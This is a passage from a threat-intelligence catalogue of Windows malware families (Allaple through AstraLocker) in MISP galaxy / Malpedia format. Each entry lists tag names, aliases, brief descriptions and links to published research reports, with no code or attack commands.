https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt
https://www.seqrite.com/documents/en/white-papers/Seqrite-WhitePaper-Operation-SideCopy.pdf
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf
https://blog.talosintelligence.com/2021/07/sidecopy.html

Allaple

The tag is: *misp-galaxy:malpedia="Allaple"*

Allaple is also known as:

- Starman

Table 1637. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.allaple
https://trapx.com/wp-content/uploads/2017/08/White_Paper_TrapX_AllapleWorm.pdf
https://researchcenter.paloaltonetworks.com/2014/08/hunting-mutex/

Almanahe

The tag is: *misp-galaxy:malpedia="Almanahe"*

Almanahe is also known as:

Table 1638. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.almanahe
https://www.elastic.co/de/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Alma Communicator

The tag is: *misp-galaxy:malpedia="Alma Communicator"*

Alma Communicator is also known as:

Table 1639. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_communicator
https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/
https://researchcenter.paloaltonetworks.com/2017/11/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan/

AlmaLocker

The tag is: *misp-galaxy:malpedia="AlmaLocker"*

AlmaLocker is also known as:

Table 1640. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_locker

AlmondRAT

AlmondRAT is a .NET Remote Access Trojan deployed by the Bitter APT group. It is capable of collecting system information, modifying and exfiltrating data and allows for remote command execution.

The tag is: *misp-galaxy:malpedia="AlmondRAT"*

AlmondRAT is also known as:

Table 1641. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.almondrat
https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/

ALPC Local PrivEsc

The tag is: *misp-galaxy:malpedia="ALPC Local PrivEsc"*

ALPC Local PrivEsc is also known as:

Table 1642. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alpc_lpe
https://www.welivesecurity.com/2018/09/05/powerpool-malware-exploits-zero-day-vulnerability/

Alphabet Ransomware

The tag is: *misp-galaxy:malpedia="Alphabet Ransomware"*

Alphabet Ransomware is also known as:

Table 1643. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alphabet_ransomware
https://twitter.com/JaromirHorejsi/status/813714602466877440

AlphaLocker

A new form of ransomware named AlphaLocker that is built by cybercriminals for cybercriminals. Like all incarnations of Ransomware As A Service (RaaS), the AlphaLocker malware program can be purchased and launched by pretty much anyone who wants to get into the ransomware business. What makes AlphaLocker different from other forms of RaaS is its relatively cheap cost.

The ransomware can be purchased for just $65 in bitcoin.

AlphaLocker, also known as Alpha Ransomware, is based on the EDA2 ransomware, an educational project open-sourced on GitHub last year by Turkish researcher Utku Sen. A Russian coder seems to have cloned this repository before it was taken down and used it to create his ransomware, a near-perfect clone of EDA2. The ransomware's author, is said to be paying a great deal of attention to updating the ransomware with new features, so it would always stay ahead of antivirus engines, and evade detection.

AlphaLocker's encryption process starts when the ransomware contacts its C&C server. The server generates a public and a private key via the RSA-2048 algorithm, sending the public key to the user's computer and saving the private key to its server. On the infected computer, the ransomware generates an AES-256 key for each file it encrypts, and then encrypts this key with the public RSA key, and sent to the C&C server.

To decrypt their files, users have to get ahold of the private RSA key which can decrypt the AES-encrypted files found on their computers. Users have to pay around 0.35 Bitcoin (~$450) to get this key, packaged within a nice decrypter.

The tag is: *misp-galaxy:malpedia="AlphaLocker"*

AlphaLocker is also known as:

Table 1644. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alphalocker
https://blog.cylance.com/an-introduction-to-alphalocker

AlphaNC

The tag is: *misp-galaxy:malpedia="AlphaNC"*

AlphaNC is also known as:

Table 1645. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alphanc
https://www.secureworks.com/research/threat-profiles/nickel-gladstone
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group

Alreay

The tag is: *misp-galaxy:malpedia="Alreay"*

Alreay is also known as:

Table 1646. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alreay
https://securelist.com/blog/sas/77908/lazarus-under-the-hood/

Alureon

The tag is: *misp-galaxy:malpedia="Alureon"*

Alureon is also known as:

- Olmarik
- Pihar
- TDL
- TDSS
- wowlik

Table 1647. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alureon
https://archive.f-secure.com/weblog/archives/The_Case_of*TDL3.pdf[https://archive.f-secure.com/weblog/archives/The_Case_of*TDL3.pdf]
http://contagiodump.blogspot.com/2011/02/tdss-tdl-4-alureon-32-bit-and-64-bit.html
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj64_wowlik.vt
http://contagiodump.blogspot.com/2010/02/list-of-aurora-hydraq-roarur-files.html
http://contagiodump.blogspot.com/2012/02/purple-haze-bootkit.html
https://www.youtube.com/watch?v=FttiysUZmDw
https://www.johannesbader.ch/2016/01/the-dga-in-alureon-dnschanger/
https://www.virusbulletin.com/virusbulletin/2016/01/paper-notes-click-fraud-american-story/

Amadey

Amadey is a botnet that appeared around October 2018 and is being sold for about 500$ on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.

The tag is: *misp-galaxy:malpedia="Amadey"*

Amadey is also known as:

Table 1648. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
https://twitter.com/0xffff0800/status/1062948406266642432
https://www.anquanke.com/post/id/230116
https://nao-sec.org/2019/04/Analyzing-amadey.html
https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware
https://twitter.com/ViriBack/status/1062405363457118210
https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-decrypt-strings-in-amadey-1-09/
https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord
https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become
https://krabsonsecurity.com/2019/02/13/analyzing-amadey-a-simple-native-malware/
https://medium.com/walmartglobaltech/amadey-stealer-plugin-adds-mikrotik-and-outlook-harvesting-518efe724ce4
https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html
https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672
https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://isc.sans.edu/diary/27264
https://blogs.blackberry.com/en/2022/07/smokeloader-malware-used-to-augment-amadey-infostealer

AMTsol

The tag is: *misp-galaxy:malpedia="AMTsol"*

AMTsol is also known as:

- Adupihan

Table 1649. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.amtsol
http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf
https://blogs.technet.microsoft.com/mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/

Anatova Ransomware

Anatova is a ransomware family with the goal of ciphering all the files that it can and then requesting payment from the victim. It will also check if network shares are connected and will encrypt the files on these shares too. The code is also prepared to support modular extensions.

The tag is: *misp-galaxy:malpedia="Anatova Ransomware"*

Anatova Ransomware is also known as:

Table 1650. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.anatova_ransom
https://www.bleepingcomputer.com/news/security/new-anatova-ransomware-supports-modules-for-extra-functionality/
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/happy-new-year-2019-anatova-is-here/

Anchor

Anchor is a sophisticated backdoor served as a module to a subset of TrickBot installations. Operating since August 2018 it is not delivered to everybody, but contrary is delivered only to high-profile targets. Since its C2 communication scheme is very similar to the one implemented in the early TrickBot, multiple experts believe it could be attributed to the same authors.

The tag is: *misp-galaxy:malpedia="Anchor"*

Anchor is also known as:

Table 1651. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.anchor
https://unit42.paloaltonetworks.com/ryuk-ransomware/
https://isc.sans.edu/diary/27308

https://hello.global.ntt/zh-cn/insights/blog/trickbot-variant-communicating-over-dns
https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware
https://medium.com/walmartglobaltech/anchor-and-lazarus-together-again-24744e516607
https://labs.sentinelone.com/the-deadly-planeswalker-how-the-trickbot-group-united-high-tech-crimeware-apt/
https://technical.nttsecurity.com/post/102fsp2/trickbot-variant-anchor-dns-communicating-over-dns
https://www.kryptoslogic.com/blog/2021/07/adjusting-the-anchor/
https://www.netscout.com/blog/asert/dropping-anchor
https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf
https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/
https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth
https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-hidden-anchor-bot-nexus-operations/

AnchorMail

The tag is: *misp-galaxy:malpedia="AnchorMail"*

AnchorMail is also known as:

Table 1652. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.anchormail
https://cyware.com/news/trickbots-anchordns-is-now-upgraded-to-anchormail-a21f5490/
https://securityintelligence.com/posts/new-malware-trickbot-anchordns-backdoor-upgrades-anchormail/
https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine
https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/

Andromeda

The tag is: *misp-galaxy:malpedia="Andromeda"*

Andromeda is also known as:

- B106-Gamarue
- B67-SS-Gamarue
- Gamarue
- b66

Table 1653. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.andromeda
https://eternal-todo.com/blog/yet-another-andromeda-gamarue-analysis
https://redcanary.com/blog/intelligence-insights-november-2021/
https://eternal-todo.com/blog/andromeda-gamarue-loves-json
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf
https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/
https://blog.avast.com/andromeda-under-the-microscope
https://www.virusbulletin.com/virusbulletin/2013/08/andromeda-2-7-features
https://www.virusbulletin.com/virusbulletin/2018/02/review-evolution-andromeda-over-years-we-say-goodbye/
http://www.0xebfe.net/blog/2013/03/30/fooled-by-andromeda/
http://resources.infosecinstitute.com/andromeda-bot-analysis/
http://resources.infosecinstitute.com/andromeda-bot-analysis-part-two/
https://byte-atlas.blogspot.ch/2015/04/kf-andromeda-bruteforcing.html
https://www.crowdstrike.com/blog/how-to-remediate-hidden-malware-real-time-response/
https://www.europol.europa.eu/newsroom/news/andromeda-botnet-dismantled-in-international-cyber-operation
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf
https://blogs.technet.microsoft.com/mmpc/2017/12/04/microsoft-teams-up-with-law-enforcement-and-other-partners-to-disrupt-gamarue-andromeda/
http://blog.morphisec.com/andromeda-tactics-analyzed
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf

AndroMut

The tag is: *misp-galaxy:malpedia="AndroMut"*

AndroMut is also known as:

- Gelup

Table 1654. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.andromut
https://www.proofpoint.com/us/threat-insight/post/ta505-begins-summer-campaigns-new-pet-malware-downloader-andromut-uae-south
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part3/
https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://intel471.com/blog/a-brief-history-of-ta505
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://documents.trendmicro.com/assets/Tech-Brief-Latest-Spam-Campaigns-from-TA505-Now-Using-New-Malware-Tools-Gelup-and-FlowerPippi.pdf

Anel

The tag is: *misp-galaxy:malpedia="Anel"*

Anel is also known as:

- UPPERCUT
- lena

Table 1655. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.anel
https://www.secureworks.com/research/threat-profiles/bronze-riverside
https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf
https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-Haruyama.pdf
https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf

https://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-adds-updated-tools-to-its-arsenal/

AnteFrigus

Ransomware that demands payment in Bitcoin.

The tag is: *misp-galaxy:malpedia="AnteFrigus"*

AnteFrigus is also known as:

Table 1656. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.antefrigus
http://id-ransomware.blogspot.com/2019/11/antefrigus-ransomware.html
https://github.com/albertzsigovits/malware-notes/blob/master/Antefrigus.md

Antilam

The tag is: *misp-galaxy:malpedia="Antilam"*

Antilam is also known as:

- Latinus

Table 1657. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.antilam

Anubis (Windows)

According to Microsoft Security Intelligence, Anubis is an information stealer sold on underground forums since June 2020. The name overlaps with the Android banking malware but is unrelated. It contains code forked from Loki PWS.

The tag is: *misp-galaxy:malpedia="Anubis (Windows)"*

Anubis (Windows) is also known as:

- Anubis Stealer

Table 1658. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.anubis

https://cybleinc.com/2021/05/02/mobile-malware-app-anubis-strikes-again-continues-to-lure-users-disguised-as-a-fake-antivirus/
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://therecord.media/russian-hacker-pavel-sitnikov-arrested-for-sharing-malware-source-code/
https://twitter.com/MsftSecIntel/status/1298752223321546754

Anubis Loader

A loader written in Go, tracked since at least October 2021 by ZeroFox. Originally named Kraken and rebranded to Anubis in February 2022.

The tag is: *misp-galaxy:malpedia="Anubis Loader"*

Anubis Loader is also known as:

- Kraken
- Pepega

Table 1659. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.anubis_loader
https://www.zerofox.com/blog/meet-kraken-a-new-golang-botnet-in-development/
https://www.zerofox.com/blog/quick-update-kraken-completes-its-rebrand-to-anubis/
https://windowsreport.com/kraken-botnet/
https://www.bleepingcomputer.com/news/security/new-golang-botnet-empties-windows-users-cryptocurrency-wallets/
https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e

Apocalipto

The tag is: *misp-galaxy:malpedia="Apocalipto"*

Apocalipto is also known as:

Table 1660. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalipto
https://www.visakorea.com/dam/VCOM/download/merchants/Grocery_Malware_04242013.pdf

Apocalypse

The tag is: *misp-galaxy:malpedia="Apocalypse"*

Apocalypse is also known as:

Table 1661. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalypse_ransom
http://blog.emsisoft.com/2016/06/29/apocalypse-ransomware-which-targets-companies-through-insecure-rdp/

Apostle

Malware used by suspected Iranian threat actor Agrius, turned from wiper into ransomware.

The tag is: *misp-galaxy:malpedia="Apostle"*

Apostle is also known as:

Table 1662. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.apostle
https://www.sentinelone.com/labs/new-version-of-apostle-ransomware-reemerges-in-targeted-attack-on-higher-education/
https://cyberpunkleigh.wordpress.com/2021/05/27/apostle-ransomware-analysis/
https://assets.sentinelone.com/sentinellabs/evol-agrius
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://www.sentinelone.com/wp-content/uploads/2021/05/SentinelLabs_From-Wiper-to-Ransomware-The-Evolution-of-Agrius.pdf

AppleJeus (Windows)

The tag is: *misp-galaxy:malpedia="AppleJeus (Windows)"*

AppleJeus (Windows) is also known as:

Table 1663. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.applejeus
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048d
https://us-cert.cisa.gov/ncas/alerts/aa21-048a
https://www.telsy.com/download/5394/?uid=28b0a4577e
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048g
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e

https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048b
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048f
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048c
https://www.vkremez.com/2019/10/lets-learn-dissecting-lazarus-windows.html
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048a
https://twitter.com/VK_Intel/status/1182730637016481793

Appleseed

The tag is: *misp-galaxy:malpedia="Appleseed"*

Appleseed is also known as:

- JamBog

Table 1664. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.appleseed
https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%EB%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf
https://download.ahnlab.com/global/brochure/Analysis%20Report%20of%20Kimsuky%20Group.pdf
https://www.boho.or.kr/filedownload.do?attach_file_seq=2652&attach_file_id=EpF2652.pdf
https://www.youtube.com/watch?v=Dv2_DK3tRgI
https://conference.hitb.org/hitbsecconf2021ams/materials/D2T1%20-%20The%20Phishermen%20-%20Dissecting%20Phishing%20Techniques%20of%20CloudDragon%20APT%20-%20Linda%20Kuo%20&Zih-Cing%20Liao%20.pdf
https://www.telsy.com/download/5654/?uid=4869868efd
https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf
https://www.youtube.com/watch?v=rfzmHjZX70s
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://vblocalhost.com/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/
https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/
https://www.boho.or.kr/filedownload.do?attach_file_seq=2651&attach_file_id=EpF2651.pdf

https://asec.ahnlab.com/en/30532/
https://www.boho.or.kr/filedownload.do?attach_file_seq=2651&attach_file_id=EpF2652.pdf
https://asec.ahnlab.com/ko/26705/
https://asec.ahnlab.com/ko/36918/

ArdaMax

The tag is: *misp-galaxy:malpedia="ArdaMax"*

ArdaMax is also known as:

Table 1665. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ardamax
https://medium.com/@MalFuzzer/dissecting-ardamax-keylogger-f33f922d2576
https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf

Arefty

The tag is: *misp-galaxy:malpedia="Arefty"*

Arefty is also known as:

Table 1666. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.arefty
http://www.welivesecurity.com/2016/03/23/new-self-protecting-usb-trojan-able-to-avoid-detection/

Ares (Windows)

Malware derived from the source code of win.kronos.

The tag is: *misp-galaxy:malpedia="Ares (Windows)"*

Ares (Windows) is also known as:

Table 1667. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ares
https://www.zscaler.com/blogs/security-research/ares-malware-grandson-kronos-banking-trojan
https://www.zscaler.com/blogs/security-research/ares-banking-trojan-learns-old-tricks-adds-defunct-qakbot-dga

ArguePatch

During a campaign against a Ukrainian energy provider, a new loader of a new version of CaddyWiper called "ArguePatch" was observed by ESET researchers. ArguePatch is a modified version of Hex-Ray's Remote Debugger Server (win32_remote.exe). ArguePatch expects a decryption key and the file of the CaddyWiper shellcode as command line parameters.

The tag is: *misp-galaxy:malpedia="ArguePatch"*

ArguePatch is also known as:

Table 1668. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.arguepatch
https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/

Aria-body

The tag is: *misp-galaxy:malpedia="Aria-body"*

Aria-body is also known as:

Table 1669. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ariabody
https://medium.com/insomniacs/aria-body-loader-is-that-you-53bdd630f8a1
https://securelist.com/it-threat-evolution-q2-2020/98230
https://securelist.com/naikons-aria/96899/
https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/

Arid Gopher

This malware is a Go written variant of Micropsia and according to DeepInstinct it is still in development.

The tag is: *misp-galaxy:malpedia="Arid Gopher"*

Arid Gopher is also known as:

Table 1670. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aridgopher
https://www.deepinstinct.com/blog/arid-gopher-the-newest-micropsia-malware-variant

https://www.theregister.com/2022/03/22/arid-gopher-malware-deep-instinct/

AridHelper

Helper malware associated with AridGopher, which will provide an alternative persistence mechanism in case "360 total security" is found on a target system.

The tag is: *misp-galaxy:malpedia="AridHelper"*

AridHelper is also known as:

Table 1671. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aridhelper
https://www.deepinstinct.com/blog/arid-gopher-the-newest-micropsia-malware-variant

Arik Keylogger

The tag is: *misp-galaxy:malpedia="Arik Keylogger"*

Arik Keylogger is also known as:

- Aaron Keylogger

Table 1672. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.arik_keylogger
http://remote-keylogger.net/

Arkei Stealer

Arkei is a stealer that appeared around May 2018. It collects data about browsers (saved passwords and autofill forms), cryptocurrency wallets, and steal files matching an attacker-defined pattern. It then exfiltrates everything in a zip file uploaded to the attacker’s panel. Later, it was forked and used as a base to create Vidar stealer.

The tag is: *misp-galaxy:malpedia="Arkei Stealer"*

Arkei Stealer is also known as:

- ArkeiStealer

Table 1673. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.arkei_stealer

https://blogs.blackberry.com/en/2022/02/threat-thursday-arkei-infostealer
https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://blog.minerva-labs.com/a-long-list-of-arkei-stealers-browser-crypto-wallets
https://forensicitguy.github.io/analyzing-stealer-msi-using-msitools/
https://www.bleepingcomputer.com/news/security/hacker-breaches-syscoin-github-account-and-poisons-official-client/
https://ke-la.com/information-stealers-a-new-landscape/
https://isc.sans.edu/diary/rss/28468

ARS VBS Loader

ARS Loader, also known as ARS VBS Loader, is written in Visual Basic Script and its main purpose is to control an infected machine via different available commands, acting as a remote access trojan (RAT). Its code is based on ASPC, another Visual Basic Script malware, which at the same time seems to be based on SafeLoader.

The tag is: *misp-galaxy:malpedia="ARS VBS Loader"*

ARS VBS Loader is also known as:

Table 1674. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ars_loader
https://twitter.com/Racco42/status/1001374490339790849
https://www.flashpoint-intel.com/blog/meet-ars-vbs-loader/
https://www.blueliv.com/blog-news/research/ars-loader-evolution-zeroevil-ta545-airnaine/

ARTFULPIE

The tag is: *misp-galaxy:malpedia="ARTFULPIE"*

ARTFULPIE is also known as:

Table 1675. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.artfulpie
https://www.us-cert.gov/ncas/analysis-reports/ar20-045e
https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/

Artra Downloader

The tag is: *misp-galaxy:malpedia="Artra Downloader"*

Artra Downloader is also known as:

Table 1676. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.artra
https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/
https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english
https://www.freebuf.com/articles/database/192726.html
https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf
https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html
https://securelist.com/apt-trends-report-q1-2021/101967/
https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/

Asbit

The tag is: *misp-galaxy:malpedia="Asbit"*

Asbit is also known as:

Table 1677. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.asbit
https://blogs.juniper.net/en-us/threat-research/asbit-an-emerging-remote-desktop-trojan

AscentLoader

The tag is: *misp-galaxy:malpedia="AscentLoader"*

AscentLoader is also known as:

Table 1678. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ascentloader

ASPC

The tag is: *misp-galaxy:malpedia="ASPC"*

ASPC is also known as:

Table 1679. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aspc

Asprox

The tag is: *misp-galaxy:malpedia="Asprox"*

Asprox is also known as:

- Aseljo
- BadSrc

Table 1680. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.asprox
https://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign
https://researchcenter.paloaltonetworks.com/2015/08/whats-next-in-malware-after-kuluoz/
http://oalabs.openanalysis.net/2014/12/04/inside-the-new-asprox-kuluoz-october-2013-january-2014/

Asruex

The tag is: *misp-galaxy:malpedia="Asruex"*

Asruex is also known as:

Table 1681. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.asruex
https://blog.trendmicro.com/trendlabs-security-intelligence/asruex-backdoor-variant-infects-word-documents-and-pdfs-through-old-ms-office-and-adobe-vulnerabilities/
https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html

Astaroth

First spotted in the wild in 2017, Astaroth is a highly prevalent, information-stealing Latin

American banking trojan. It is written in Delphi and has some innovative execution and attack techniques. Originally, this malware variant targeted Brazilian users, but Astaroth now targets users both in North America and Europe.

The tag is: *misp-galaxy:malpedia="Astaroth"*

Astaroth is also known as:

- Guildma

Table 1682. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.astaroth
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://isc.sans.edu/diary/Brazil+malspam+pushes+Astaroth+%28Guildma%29+malware/28962
https://www.botconf.eu/wp-content/uploads/2019/12/B2019-Soucek-Hornak-DemystifyingBankingTrojansFromLatinAmerica.pdf
https://www.microsoft.com/security/blog/2020/03/23/latest-astaroth-living-off-the-land-attacks-are-even-more-invisible-but-not-less-observable/
https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research
https://blog.easysol.net/meet-lucifer-international-trojan/
https://labs.f-secure.com/blog/attack-detection-fundamentals-code-execution-and-persistence-lab-1/
https://www.microsoft.com/security/blog/2019/07/08/dismantling-a-fileless-campaign-microsoft-defender-atp-next-gen-protection-exposes-astaroth-attack/
https://www.welivesecurity.com/2020/03/05/guildma-devil-drives-electric/
https://blog.talosintelligence.com/2020/05/astaroth-analysis.html
https://isc.sans.edu/diary/27482
https://github.com/pan-unit42/tweets/blob/master/2022-01-17-IOCs-for-Astaroth-Guildma-infection.txt
https://securelist.com/the-tetrade-brazilian-banking-malware/97779/
https://www.armor.com/resources/threat-intelligence/astaroth-banking-trojan/

AstraLocker

The tag is: *misp-galaxy:malpedia="AstraLocker"*

AstraLocker is also known as:

Table 1683. Table References

Links
